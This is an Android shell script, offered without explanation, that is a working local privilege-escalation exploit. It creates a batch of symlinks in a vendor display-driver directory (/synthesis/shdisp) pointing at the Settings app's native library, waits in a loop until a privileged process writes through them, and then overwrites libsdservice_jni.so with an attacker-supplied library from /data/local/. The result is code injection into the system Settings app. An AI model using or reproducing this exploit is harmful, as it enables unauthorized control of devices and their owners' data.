#!/system/bin/sh

check_file_exists()
{
  if `/system/bin/ls $1 > /dev/null 2> /dev/null`; then
    return 0
  else
    return 1
  fi
}

sofile="libsdservice_jni.so"
srcpath="/data/local/"$sofile
targetpath="/data/data/com.android.settings/lib/"$sofile

if check_file_exists $targetpath ; then
  cat $srcpath > $targetpath
  exit 1
fi

for j in "" 1 2;do for i in 0 1 2 3 4 5 6 7 8 9; do ln -s $targetpath /synthesis/shdisp/shdisp_smem_$j$i; done; done

while :;
do
if check_file_exists $targetpath ; then
    rm /synthesis/shdisp/shdisp_smem_*
    break;
fi
done

cat $srcpath > $targetpath

